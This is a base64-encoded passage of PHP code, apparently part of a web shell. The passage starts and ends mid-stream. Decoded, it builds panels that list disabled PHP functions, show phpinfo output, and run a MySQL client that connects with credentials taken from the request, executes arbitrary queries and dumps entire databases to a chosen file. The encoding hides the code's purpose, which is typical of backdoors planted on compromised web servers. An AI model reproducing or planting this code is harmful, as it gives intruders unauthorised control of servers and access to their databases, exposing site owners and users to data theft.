aD0nMTUnPk5vLjwvdGg+DQoJCQkJCQkJPHRoPkRpc2FibGUgRnVuY3Rpb248L3RoPg0KCQkJCQkJCTx0aD5TdGF0dXM8L3RoPg0KCQkJCQkJPC90cj4NCgkJCQkJPC90aGVhZD4NCgkJCQkJPHRib2R5Pg0KCQkJCQkJJXMNCgkJCQkJPC90Ym9keT4NCgkJCQk8L3RhYmxlPg0KCQkJCTxmaWVsZHNldCBzdHlsZT0nbWFyZ2luLWJvdHRvbToxNXB4Jz4NCgkJCQkJPGxlZ2VuZD5SZWFkeSBMaXN0PC9sZWdlbmQ+DQoJCQkJCTx0ZXh0YXJlYT4lczwvdGV4dGFyZWE+DQoJCQkJPC9maWVsZHNldD4NCgkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUnPg0KCQkJCQk8ZGl2IGNsYXNzPSdkaXZpZGUtbGVmdCc+DQoJCQkJCQk8ZmllbGRzZXQgc3R5bGU9J21hcmdpbi1ib3R0b206MTVweCc+DQoJCQkJCQkJPGxlZ2VuZD5PZmYgTGlzdDwvbGVnZW5kPg0KCQkJCQkJCTx0ZXh0YXJlYT4lczwvdGV4dGFyZWE+DQoJCQkJCQk8L2ZpZWxkc2V0Pg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0nZGl2aWRlLXJpZ2h0Jz4NCgkJCQkJCTxmaWVsZHNldD4NCgkJCQkJCQk8bGVnZW5kPkRpZSBMaXN0PC9sZWdlbmQ+DQoJCQkJCQkJPHRleHRhcmVhPiVzPC90ZXh0YXJlYT4NCgkJCQkJCTwvZmllbGRzZXQ+DQoJCQkJCTwvZGl2Pg0KCQkJPC9kaXY+IiwkdG90YWwscm91bmQoJHJpc2ssMikscm91bmQoJHNlY3VyZSwyKSwkdGFibGUsaW1wbG9kZSgkcmVhZHksICcsICcpLGltcGxvZGUoJG9mZiwgJywgJyksaW1wbG9kZSgkZGllLCAnLCAnKSk7DQoJfQ0KCWlmKCRfUkVRVUVTVFsneCddPT0iaW5mbyIpDQoJew0KCQlwcmludGYoIjxkaXYgaWQ9J3BocC1jb25maWd1cmF0aW9uJz4NCgkJCTxmb3JtIG9uc3VibWl0PSdyZXR1cm4gZmFsc2U7JyBjbGFzcz0nbmV3Jz4NCgkJCQk8c2VsZWN0IGlkPSdwaHAtY29uZmlnJz4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0nNCc+SU5GT19DT05GSUdVUkFUSU9OPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9JzE2JyBzZWxlY3RlZD5JTkZPX0VOVklST05NRU5UPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9JzMyJz5JTkZPX1ZBUklBQkxFUzwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSc4Jz5JTkZPX01PRFVMRVM8L29wdGlvbj4NCgkJCQkJPG9wdGlvbiB2YWx1ZT0nMSc+SU5GT19HRU5FUkFMPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9JzInPklORk9fQ1JFRElUUzwvb3B0aW9uPg0KCQkJCQk8b3B0aW9uIHZhbHVlPSc2NCc+SU5GT19MSUNFTlNFPC9vcHRpb24+DQoJCQkJCTxvcHRpb24gdmFsdWU9Jy0xJz5JTkZPX0FMTDwvb3B0aW9uPg0KCQkJCTwvc2VsZWN0Pg0KCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG9uY2xpY2s9XCJyZXR1cm4gZ2V0QWpheCh0cnVlLCdwaHAtaW5mbycsJ1BPU1QnLCc/eD1pbmZvJnhhPWVudmlyb2xtZW50JmNvbmZpZz0nK2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwaHAtY29uZmlnJykudmFsdWUpO1wiLz48YnI+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2Pg0KCQk8ZGl2IGlkPSdwaHAtaW5mbycgY2xhc3M9J3Jlc3VsdCc+PC9kaXY+Iik7DQoNCgkJJGNvcmVzPWFycmF5KCdQSFBfVkVSU0lPTicsJ1BIUF9NQUpPUl9WRVJTSU9OJywnUEhQX01JTk9SX1ZFUlNJT04nLCdQSFBfUkVMRUFTRV9WRVJTSU9OJywnUEhQX1ZFUlNJT05fSUQnLA0KCQkJCSAgJ1BIUF9FWFRSQV9WRVJTSU9OJywnUEhQX1pUUycsJ1BIUF9ERUJVRycsJ1BIUF9NQVhQQVRITEVOJywnUEhQX09TJywnUEhQX09TX0ZBTUlMWScsJ1BIUF9TQVBJJywNCgkJCQkgICdQSFBfRU9MJywnUEhQX0lOVF9NQVgnLCdQSFBfSU5UX01JTicsJ1BIUF9JTlRfU0laRScsJ1BIUF9GTE9BVF9ESUcnLCdQSFBfRkxPQVRfRVBTSUxPTicsDQoJCQkJICAnUEhQX0ZMT0FUX01JTicsJ1BIUF9GTE9BVF9NQVgnLCdERUZBVUxUX0lOQ0xVREVfUEFUSCcsJ1BFQVJfSU5TVEFMTF9ESVInLCdQRUFSX0VYVEVOU0lPTl9ESVInLA0KCQkJCSAgJ1BIUF9FWFRFTlNJT05fRElSJywnUEhQX1BSRUZJWCcsJ1BIUF9CSU5ESVInLCdQSFBfQklOQVJZJywnUEhQX01BTkRJUicsJ1BIUF9MSUJESVInLCdQSFBfREFUQURJUicsDQoJCQkJICAnUEhQX1NZU0NPTkZESVInLCdQSFBfTE9DQUxTVEFURURJUicsJ1BIUF9DT05GSUdfRklMRV9QQVRIJywnUEhQX0NPTkZJR19GSUxFX1NDQU5fRElSJywNCgkJCQkgICdQSFBfU0hMSUJfU1VGRklYJywnUEhQX0ZEX1NFVFNJWkUnKTsNCg0KCQkkdGFibGU9IiI7DQoJCWZvcmVhY2goJGNvcmVzIGFzICRjb3JlKQ0KCQl7DQoJCQkkdGFibGUuPSI8dHI+PHRkPiIuJGNvcmUuIjwvdGQ+PHRkPiIuQGNvbnN0YW50KCRjb3JlKS4iPC90ZD48L3RyPiI7DQoJCX0NCg0KCQlwcmludGYoIjxoMj5Db3JlIFByZWRlZmluZWQgQ29uc3RhbnRzPC9oMj48YnI+DQoJCQkJPHRhYmxlIGNsYXNzPSd0YWJsZSc+DQoJCQkJCTx0aGVhZD4NCgkJCQkJCTx0cj4NCgkJCQkJCQk8dGg+UHJlZGVmaW5lZCBDb25zdGFudHM8L3RoPg0KCQkJCQkJCTx0aD5WYWx1ZTwvdGg+DQoJCQkJCQk8L3RyPg0KCQkJCQk8dGJvZHk+JXM8L3Rib2R5Pg0KCQkJCTwvdGFibGU+IiwkdGFibGUpOw0KDQoJCWlmKGFueSgieGEiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsneGEnXT09ImVudmlyb2xtZW50IikNCgkJew0KCQkJb2JfY2xlYW4oKTsNCgkJCXBocGluZm8oJF9SRVFVRVNUWydjb25maWcnXSk7DQoJCQkkcGhwaW5mbz1vYl9nZXRfY29udGVudHMoKTsNCgkJCW9iX2VuZF9jbGVhbigpOw0KCQkJJHBocGluZm89cHJlZ19yZXBsYWNlKCclXi4qPGJvZHk+KC4qKTwvYm9keT4uKiQlbXMnLCckMScsJHBocGluZm8pOw0KCQkJcHJpbnRmKCI8ZGl2IGlkPSdwaHBpbmZvJz4lczwvZGl2PiIsJHBocGluZm8pOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZigkX1JFUVVFU1RbJ3gnXT09ImRiIikNCgl7DQoJCSRjb25uZWN0PWFueSgiY29ubmVjdCIsJF9TRVNTSU9OKT8kX1NFU1NJT05bJ2Nvbm5lY3QnXToiIjsNCgkJJHN0YXR1cz1hbnkoInN0YXR1cyIsJF9TRVNTSU9OKT8kX1NFU1NJT05bJ3N0YXR1cyddOiIiOw0KCQkkcXVlcnk9YW55KCJxdWVyeSIsJF9SRVFVRVNUKT8kX1JFUVVFU1RbJ3F1ZXJ5J106InNob3cgZGF0YWJhc2VzOyI7DQoNCgkJaWYoJGNvbm5lY3Q9PXRydWUpDQoJCXsNCgkJCSRwcm9jZXNzPSIiOw0KCQkJJHNxbD1teXNxbGlfY29ubmVjdCgkX1NFU1NJT05bJ2hvc3QnXSwkX1NFU1NJT05bJ3VzZXInXSwkX1NFU1NJT05bJ3Bhc3MnXSwkX1NFU1NJT05bJ2RiYXMnXSwkX1NFU1NJT05bJ3BvcnQnXSk7DQoJCQkvKiANCgkJCSRyZXN1bHQ9bXlzcWxfbGlzdF9wcm9jZXNzZXMoJHNxbCk7DQoJCQl3aGlsZSgkcm93PW15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKQ0KCQkJew0KCQkJICAgICRwcm9jZXNzLj1zcHJpbnRmKCI8dHI+DQoJCQkgICAgCTx0ZD4lczwvdGQ+PHRkPiVzPC90ZD48dGQ+JXM8L3RkPg0KCQkJICAgIAk8dGQ+JXM8L3RkPjx0ZD4lczwvdGQ+PC90cj4iLA0KCQkJICAgIAkkcm93WyJJZCJdLCRyb3dbIkhvc3QiXSwkcm93WyJkYiJdLA0KCQkJICAgIAkkcm93WyJDb21tYW5kIl0sJHJvd1siVGltZSJdKTsNCgkJCX0NCgkJCW15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOyANCgkJCSovDQoJCQkNCgkJCXByaW50ZigiPGRpdiBjbGFzcz0nZGF0YWJhc2Utc2Vzc2lvbic+DQoJCQkJCQk8ZGl2IGNsYXNzPSdkYXRhYmFzZS1xdWVyeSc+DQoJCQkJCQkJPGZvcm0gYWN0aW9uPSc/eD1kYiZ4YT1xcnknIG1ldGhvZD0ncG9zdCc+DQoJCQkJCQkJCTxsYWJlbD5NWVNRTCBRdWVyeTxocj48L2xhYmVsPjxicj4NCgkJCQkJCQkJPGxhYmVsPjxpIHN0eWxlPSdjb2xvcjojMjIyJz4NCgkJCQkJCQkJc2hvdyBkYXRhYmFzZXM7PGJyPg0KCQkJCQkJCQlzaG93IHRhYmxlcyBmcm9tIHtkYXRhYmFzZX07PGJyPg0KCQkJCQkJCQlzaG93IGNvbHVtbnMgZnJvbSB7ZGF0YWJhc2V9Lnt0YWJsZX07PGJyPg0KCQkJCQkJCQlzZWxlY3QgY291bnQoKikgZnJvbSB7ZGF0YWJhc2V9Lnt0YWJsZX07PGJyPg0KCQkJCQkJCQlzZWxlY3QgKiBmcm9tIHtkYXRhYmFzZX0ue3RhYmxlfWxpbWl0IDAsMTA7PC9pPjwvbGFiZWw+DQoJCQkJCQkJCTx0ZXh0YXJlYSBpZD0ncXVlcnknIG5hbWU9J3F1ZXJ5Jz4lczwvdGV4dGFyZWE+PGJyPg0KCQkJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkaXNjb25uZWN0JyB2YWx1ZT0nRGlzY29ubmVjdCcvPg0KCQkJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRXhlY3V0ZScvPg0KCQkJCQkJCTwvZm9ybT4NCgkJCQkJCTwvZGl2Pg0KCQkJCQkJPGRpdiBjbGFzcz0nZGF0YWJhc2UtcHJvY2Vzcyc+DQoJCQkJCQkJPCEtLSBkaXYgY2xhc3M9J215c3FsLXByb2Nlc3MtcmVzdWx0Jz4NCgkJCQkJCQkJPGxhYmVsPkRhdGFiYXNlIFByb2Nlc3MgPGEgaHJlZj0nP3g9ZGImeGE9cHJvYyc+JiM5ODUxOzwvYT48aHI+PC9sYWJlbD4NCgkJCQkJCQkJPHRhYmxlIGNsYXNzPSd0YWJsZSB0YWJsZS1ib3JkZXJlZCc+DQoJCQkJCQkJCQk8dGhlYWQ+DQoJCQkJCQkJCQkJPHRyPg0KCQkJCQkJCQkJCQk8dGg+SWQ8L3RoPg0KCQkJCQkJCQkJCQk8dGg+SG9zdDwvdGg+DQoJCQkJCQkJCQkJCTx0aD5EYXRhYmFzZTwvdGg+DQoJCQkJCQkJCQkJCTx0aD5Db21tYW5kPC90aD4NCgkJCQkJCQkJCQkJPHRoPlRpbWU8L3RoPg0KCQkJCQkJCQkJCTwvdHI+DQoJCQkJCQkJCQk8L3RoZWFkPg0KCQkJCQkJCQkJPHRib2R5PiVzPC90Ym9keT4NCgkJCQkJCQkJPC90YWJsZT4NCgkJCQkJCQk8L2RpdiAtLT4NCgkJCQkJCQk8ZGl2IGNsYXNzPSdkYXRhYmFzZS1kdW1wJz4NCgkJCQkJCQkJPGxhYmVsPkRhdGFiYXNlIER1bXA8aHI+PC9sYWJlbD4NCgkJCQkJCQkJPGZvcm0gYWN0aW9uPSc/eD1kYiZ4YT1kbXAnIG1ldGhvZD0ncG9zdCc+PGJyPg0KCQkJCQkJCQkJPGxhYmVsPkRhdGFiYXNlPC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZGF0YWJhc2UnIHZhbHVlPScnLz48YnI+DQoJCQkJCQkJCQk8bGFiZWw+T3V0cHV0PC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nb3V0cHV0JyB2YWx1ZT0nJXMnLz48YnI+DQoJCQkJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRHVtcCcgLz4NCgkJCQkJCQkJCTxsYWJlbD4lczwvbGFiZWw+DQoJCQkJCQkJCTwvZm9ybT4NCgkJCQkJCQk8L2Rpdj4NCgkJCQkJCTwvZGl2Pg0KCQkJCQkJPGRpdiBjbGFzcz0nY2xyJz48L2Rpdj4NCgkJCQkJPC9kaXY+DQoJCQkJCSIsJHF1ZXJ5LCRwcm9jZXNzLCRkaXIsJHN0YXR1cyk7DQoJCQ0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnRmKCI8ZGl2IGlkPSdkYXRhYmFzZSc+DQoJCQkJCTxmb3JtIGFjdGlvbj0nP3g9ZGImeGE9ZGInIG1ldGhvZD0ncG9zdCcgY2xhc3M9J25ldyc+PGJyPg0KCQkJCQkJPGxhYmVsPkhvc3Q8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyB2YWx1ZT0nbG9jYWxob3N0Jy8+PGJyPg0KCQkJCQkJPGxhYmVsPlBvcnQ8L2xhYmVsPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzMwNicvPjxicj4NCgkJCQkJCTxsYWJlbD5Vc2VybmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3VzZXInIHZhbHVlPSdyb290Jy8+PGJyPg0KCQkJCQkJPGxhYmVsPlBhc3N3b3JkPC9sYWJlbD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9JycvPjxicj4NCgkJCQkJCTxsYWJlbD5EYXRhYmFzZTwvbGFiZWw+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiYXMnIHZhbHVlPScnLz48YnI+DQoJCQkJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcvPg0KCQkJCQk8L2Zvcm0+DQoJCQkJPC9kaXY+Iik7DQoJCX0NCg0KCQlpZihhbnkoInJzIiwkX1JFUVVFU1QpKQ0KCQl7DQoJCQkkX1NFU1NJT05bJF9SRVFVRVNUWydycyddXT0nJzsNCgkJfQ0KDQoJCWlmKGFueSgiY2QiLCRfUkVRVUVTVCkpDQoJCXsNCgkJCSRfU0VTU0lPTlsncWRiJ109JF9SRVFVRVNUWydjZCddOw0KCQl9DQoNCgkJaWYoYW55KCJjdCIsJF9SRVFVRVNUKSkNCgkJew0KCQkJJF9TRVNTSU9OWydxdGInXT0kX1JFUVVFU1RbJ2N0J107DQoJCX0NCg0KCQlpZihhbnkoInhhIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSJkYiIpDQoJCXsJDQoJCQkkY249bXlzcWxpX2Nvbm5lY3QoJF9SRVFVRVNUWydob3N0J10sJF9SRVFVRVNUWyd1c2VyJ10sJF9SRVFVRVNUWydwYXNzJ10sJF9SRVFVRVNUWydkYmFzJ10sJF9SRVFVRVNUWydwb3J0J10pOw0KDQoJCQkkX1NFU1NJT05bJ2hvc3QnXT0kX1JFUVVFU1RbJ2hvc3QnXTsNCgkJCSRfU0VTU0lPTlsncG9ydCddPSRfUkVRVUVTVFsncG9ydCddOw0KCQkJJF9TRVNTSU9OWyd1c2VyJ109JF9SRVFVRVNUWyd1c2VyJ107DQoJCQkkX1NFU1NJT05bJ3Bhc3MnXT0kX1JFUVVFU1RbJ3Bhc3MnXTsNCgkJCSRfU0VTU0lPTlsnZGJhcyddPSRfUkVRVUVTVFsnZGJhcyddOw0KDQoJCQlpZigkY24pDQoJCQl7DQoJCQkJJF9TRVNTSU9OWydjb25uZWN0J109dHJ1ZTsNCgkJCQloZWFkZXIoJ2xvY2F0aW9uOicucGhwX3NlbGYuJz94PWRiJyk7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJJF9TRVNTSU9OWydjb25uZWN0J109ZmFsc2U7DQoJCQkJcHJpbnRmKCI8YiBjbGFzcz0nb2ZmJz5Db25uZWN0aW9uIEZhaWxlZDwvYj4iKTsNCgkJCX0NCgkJfQ0KDQoJCWlmKGFueSgieGEiLCRfUkVRVUVTVCkmJiRfUkVRVUVTVFsneGEnXT09InFyeSIpDQoJCXsNCgkJCSRfU0VTU0lPTlsnc3RhdHVzJ109Jyc7DQoJCQkkY29uPW15c3FsaV9jb25uZWN0KCRfU0VTU0lPTlsnaG9zdCddLCRfU0VTU0lPTlsndXNlciddLCRfU0VTU0lPTlsncGFzcyddLCRfU0VTU0lPTlsnZGJhcyddLCRfU0VTU0lPTlsncG9ydCddKTsNCg0KCQkJaWYoaXNzZXQoJF9SRVFVRVNUWydkaXNjb25uZWN0J10pKQ0KCQkJew0KCQkJCW15c3FsaV9jbG9zZSgkY29uKTsNCgkJCQl1bnNldCgkX1NFU1NJT05bJ2Nvbm5lY3QnXSk7DQoJCQkJdW5zZXQoJF9TRVNTSU9OWydxdWVyeSddKTsNCgkJCQl1bnNldCgkX1NFU1NJT05bJ2hvc3QnXSk7DQoJCQkJdW5zZXQoJF9TRVNTSU9OWyd1c2VyJ10pOw0KCQkJCXVuc2V0KCRfU0VTU0lPTlsncGFzcyddKTsNCgkJCQl1bnNldCgkX1NFU1NJT05bJ2RiYXMnXSk7DQoJCQkJdW5zZXQoJF9TRVNTSU9OWydxZGInXSk7DQoJCQkJdW5zZXQoJF9TRVNTSU9OWydxdGInXSk7DQoJCQkJaGVhZGVyKCdsb2NhdGlvbjonLnBocF9zZWxmLic/eD1kYicpOw0KCQkJfQ0KDQoJCQkkc3FsPSFlbXB0eSgkX1JFUVVFU1RbJ3F1ZXJ5J10pPyRfUkVRVUVTVFsncXVlcnknXToic2hvdyBkYXRhYmFzZXM7IjsNCgkJCSRyZXN1bHQ9bXlzcWxpX3F1ZXJ5KCRjb24sJHNxbCk7DQoJCQkkZGF0YT1hcnJheSgpOw0KCQkJJG5hbWU9YXJyYXkoKTsNCg0KCQkJaWYoJHJlc3VsdCkNCgkJCXsNCgkJCQl3aGlsZSgkZmllbGRpbmZvPW15c3FsaV9mZXRjaF9maWVsZCgkcmVzdWx0KSkNCgkJCQl7DQoJCQkJCSRuYW1lW109JGZpZWxkaW5mby0+bmFtZTsNCgkJCQl9DQoJCQkJJGRhdGFbXT0kbmFtZTsNCgkJCQl3aGlsZSgkcm93PW15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpDQoJCQkJew0KCQkJCQkkZGF0YVtdPSRyb3c7DQoJCQkJfQ0KCQkJCW15c3FsaV9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkZGF0YT1mYWxzZTsNCgkJCX0NCg0KCQkJaWYoJGRhdGEhPT1mYWxzZSkNCgkJCXsNCgkJCQkkc3FkYj1pc3NldCgkX1NFU1NJT05bJ3FkYiddKSA/ICRfU0VTU0lPTlsncWRiJ10gOiAnJzsNCgkJCQkkc3F0Yj1pc3NldCgkX1NFU1NJT05bJ3F0YiddKSA/ICRfU0VTU0lPTlsncXRiJ10gOiAnJzsNCg0KCQkJCSRic2RiPSI8YSBocmVmPSc/eD1kYiZ4YT1xcnkmcnM9cWRiJnF1ZXJ5PXNob3cgZGF0YWJhc2VzOyc+RGF0YWJhc2U8L2E+IjsNCgkJCQkkYnFkYj0hZW1wdHkoJF9TRVNTSU9OWydxZGInXSk/IiYjODU5NDsJPGEgaHJlZj0nP3g9ZGImeGE9cXJ5JnJzPXF0YiZxdWVyeT1zaG93IHRhYmxlcyBmcm9tICRzcWRiOyc+JHNxZGI8L2E+IjoiIjsNCgkJCQkkYnF0Yj0hZW1wdHkoJF9TRVNTSU9OWydxdGInXSk/IiYjODU5NDsJPGEgaHJlZj0nP3g9ZGImeGE9cXJ5JnF1ZXJ5PXNob3cgY29sdW1ucyBmcm9tICRzcWRiLiRzcXRiOyc+JHNxdGI8L2E+IjoiIjsNCg0KCQkJCXByaW50ZigiPGRpdiBjbGFzcz0nZGF0YWJhc2U9dGFibGUnPg0KCQkJCQkJPGRpdiBjbGFzcz0nZGF0YWJhc2UtYnJlYWRjcnVtYic+JXMgJXMgJXM8L2Rpdj4NCgkJCQkJCTxkaXYgY2xhc3M9J2F1dG8tbnVtYmVyJz4NCgkJCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUgc29ydGFibGUnPiIsJGJzZGIsJGJxZGIsJGJxdGIpOw0KDQoJCQkJZm9yZWFjaCgkZGF0YSBhcyAka2V5ID0+ICR2YWwpDQoJCQkJew0KCQkJCQlpZihpc19hcnJheSgkdmFsKSkNCgkJCQkJew0KCQkJCQkJaWYoJGtleT09MCkNCgkJCQkJCXsNCgkJCQkJCQlwcmludCAiPHRyPjx0aCBjbGFzcz0nc29ydHRhYmxlX25vc29ydCc+JiM5Nzc2OzwvdGg+IjsNCgkJCQkJCQlmb3JlYWNoKCR2YWwgYXMgJGtleTIgPT4gJHZhbDIpDQoJCQkJCQkJew0KCQkJCQkJCQlpZighaXNfYXJyYXkoJHZhbDIpKQ0KCQkJCQkJCQl7DQoJCQkJCQkJCQlwcmludCAiPHRoPiIuJHZhbDIuIjwvdGg+IjsNCgkJCQkJCQkJfQ0KCQkJCQkJCX0NCgkJCQkJCQlwcmludCAiPC90cj4iOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZQ0KCQkJCQkJew0KCQkJCQkJCXByaW50ICI8dHI+PHRkIHdpZHRoPScxNSc+PC90ZD4iOw0KCQkJCQkJCWZvcmVhY2goJHZhbCBhcyAka2V5MyA9PiAkdmFsMykNCgkJCQkJCQl7DQoJCQkJCQkJCWlmKCFpc19hcnJheSgkdmFsMykpDQoJCQkJCQkJCXsNCgkJCQkJCQkJCWlmKHN0cnBvcygkdmFsMiwnRGF0YWJhc2UnKSE9PWZhbHNlKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCXByaW50ICI8dGQ+PGEgaHJlZj0nP3g9ZGImeGE9cXJ5JmNkPSR2YWwzJnF1ZXJ5PXNob3cgdGFibGVzIGZyb20gJHZhbDM7Jz4kdmFsMzwvYT48L3RkPiI7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCQllbHNlaWYoc3RycG9zKCR2YWwyLCdUYWJsZXMnKSE9PWZhbHNlKQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCSR2YWw0PXN1YnN0cigkdmFsMixzdHJwb3MoJHZhbDIsJ1RhYmxlc19pbl8nKSsxMCk7DQoJCQkJCQkJCQkJcHJpbnQgIjx0ZD48YSBocmVmPSc/eD1kYiZ4YT1xcnkmY2Q9JHZhbDQmY3Q9JHZhbDMmcXVlcnk9c2VsZWN0ICogZnJvbSAkdmFsNC4kdmFsMyBsaW1pdCAwLDEwOyc+JHZhbDM8L2E+PC90ZD4iOw0KCQkJCQkJCQkJfQ0KCQkJCQkJCQkJZWxzZQ0KCQkJCQkJCQkJew0KCQkJCQkJCQkJCXByaW50ICI8dGQ+JHZhbDM8L3RkPiI7DQoJCQkJCQkJCQl9DQoJCQkJCQkJCX0NCgkJCQkJCQl9DQoJCQkJCQkJcHJpbnQgIjwvdHI+IjsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCX0NCgkJCQlwcmludCAiPC90YWJsZT48L2Rpdj48L2Rpdj4iOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCXByaW50ICc8c3BhbiBjbGFzcz1vZmY+UXVlcnkgbm90IEV4ZWN1dGVkPC9zcGFuPic7DQoJCQl9DQoJCX0NCg0KCQlpZihhbnkoInhhIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3hhJ109PSJkbXAiKQ0KCQl7DQoJCQkkZGF0YWJhc2U9JF9SRVFVRVNUWydkYXRhYmFzZSddOw0KCQkJJG91dHB1dD0kX1JFUVVFU1RbJ291dHB1dCddOw0KCQkJaWYgKCFmaWxlX2V4aXN0cygkb3V0cHV0KSYmIWVtcHR5KCRkYXRhYmFzZSkpIA0KCQkJew0KCQkJCSRsaW5rPW15c3FsaV9jb25uZWN0KCRfU0VTU0lPTlsnaG9zdCddLCRfU0VTU0lPTlsndXNlciddLCRfU0VTU0lPTlsncGFzcyddLG51bGwsJF9TRVNTSU9OWydwb3J0J10pOw0KCQkJCW15c3FsaV9zZXRfY2hhcnNldCgkbGluaywndXRmOCcpOw0KCQkJCW15c3FsaV9zZWxlY3RfZGIoJGxpbmssJGRhdGFiYXNlKTsNCgkJCQkkdGFibGVzPWFycmF5KCk7DQoJCQkJJHJlc3VsdD1teXNxbGlfcXVlcnkoJGxpbmssJ1NIT1cgVEFCTEVTJyk7DQoJCQkJd2hpbGUoJHJvdz1teXNxbGlfZmV0Y2hfcm93KCRyZXN1bHQpKQ0KCQkJCXsNCgkJCQkJJHRhYmxlc1tdPSRyb3dbMF07DQoJCQkJfQ0KCQkJCSRyZXR1cm49J1NFVCBGT1JFSUdOX0tFWV9DSEVDS1M9MDsnIC4gIlxyXG4iOw0KCQkJCSRyZXR1cm4uPSdTRVQgU1FMX01PREU9Ik5PX0FVVE9fVkFMVUVfT05fWkVSTyI7JyAuICJcclxuIjsNCgkJCQkkcmV0dXJuLj0nU0VUIEFVVE9DT01NSVQ9MDsnIC4gIlxyXG4iOw0KCQkJCSRyZXR1cm4uPSdTVEFSVCBUUkFOU0FDVElPTjsnIC4gIlxyXG4iOw0KCQkJCWZvcmVhY2goJHRhYmxlcyBhcyAkdGFibGUpDQoJCQkJew0KCQkJCQkkcmVzdWx0PW15c3FsaV9xdWVyeSgkbGluaywnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQoJCQkJCSRudW1fZmllbGRzPW15c3FsaV9udW1fZmllbGRzKCRyZXN1bHQpOw0KCQkJCQkkbnVtX3Jvd3M9bXlzcWxpX251bV9yb3dzKCRyZXN1bHQpOw0KCQkJCQkkaV9yb3c9MDsNCgkJCQkJJHJvdzI9bXlzcWxpX2ZldGNoX3JvdyhteXNxbGlfcXVlcnkoJGxpbmssJ1NIT1cgQ1JFQVRFIFRBQkxFICcuJHRhYmxlKSk7DQoJCQkJCSRyZXR1cm4uPSJcblxuIi4kcm93MlsxXS4iO1xuXG4iOw0KCQkJCQlpZiAoJG51bV9yb3dzIT09MCkgew0KCQkJCQkJJHJvdzM9QG15c3FsaV9mZXRjaF9maWVsZHMoJHJlc3VsdCk7DQoJCQkJCQkkcmV0dXJuLj0nSU5TRVJUIElOVE8gJy4kdGFibGUuJyggJzsNCgkJCQkJCWZvcmVhY2ggKCRyb3czIGFzICR0aCkgDQoJCQkJCQl7IA0KCQkJCQkJCSRyZXR1cm4uPSdgJy4kdGgtPm5hbWUuJ2AsJzsNCgkJCQkJCX0NCgkJCQkJCSRyZXR1cm49c3Vic3RyKCRyZXR1cm4sMCwtMik7DQoJCQkJCQkkcmV0dXJuLj0nICkgVkFMVUVTJzsNCgkJCQkJCWZvciAoJGk9MDskaSA8ICRudW1fZmllbGRzOyRpKyspIA0KCQkJCQkJew0KCQkJCQkJCXdoaWxlKCRyb3c9bXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkNCgkJCQkJCQl7DQoJCQkJCQkJCSRyZXR1cm4uPSJcbigiOw0KCQkJCQkJCQlmb3IoJGo9MDskajwkbnVtX2ZpZWxkczskaisrKSANCgkJCQkJCQkJew0KCQkJCQkJCQkJJHJvd1skal09YWRkc2xhc2hlcygkcm93WyRqXSk7DQoJCQkJCQkJCQkkcm93WyRqXT1wcmVnX3JlcGxhY2UoIiNcbiMiLCJcXG4iLCRyb3dbJGpdKTsNCgkJCQkJCQkJCWlmIChpc3NldCgkcm93WyRqXSkpIHsgJHJldHVybi49JyInLiRyb3dbJGpdLiciJzt9ZWxzZSB7ICRyZXR1cm4uPSciIic7fQ0KCQkJCQkJCQkJaWYgKCRqPCgkbnVtX2ZpZWxkcy0xKSkgeyAkcmV0dXJuLj0nLCc7fQ0KCQkJCQkJCQl9DQoJCQkJCQkJCWlmICgrKyRpX3Jvdz09JG51bV9yb3dzKSB7DQoJCQkJCQkJCQkkcmV0dXJuLj0iKTsiOw0KCQkJCQkJCQl9ZWxzZSB7DQoJCQkJCQkJCQkkcmV0dXJuLj0iKSwiOw0KCQkJCQkJCQl9ICANCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJJHJldHVybi49IlxuXG5cbiI7DQoJCQkJfQ0KCQkJCSRyZXR1cm4gLj0nU0VUIEZPUkVJR05fS0VZX0NIRUNLUz0xOycgLiAiXHJcbiI7DQoJCQkJJHJldHVybi49J0NPTU1JVDsnOw0KCQkJCSRvdXRwdXQ9cGF0aGluZm8oJG90cHV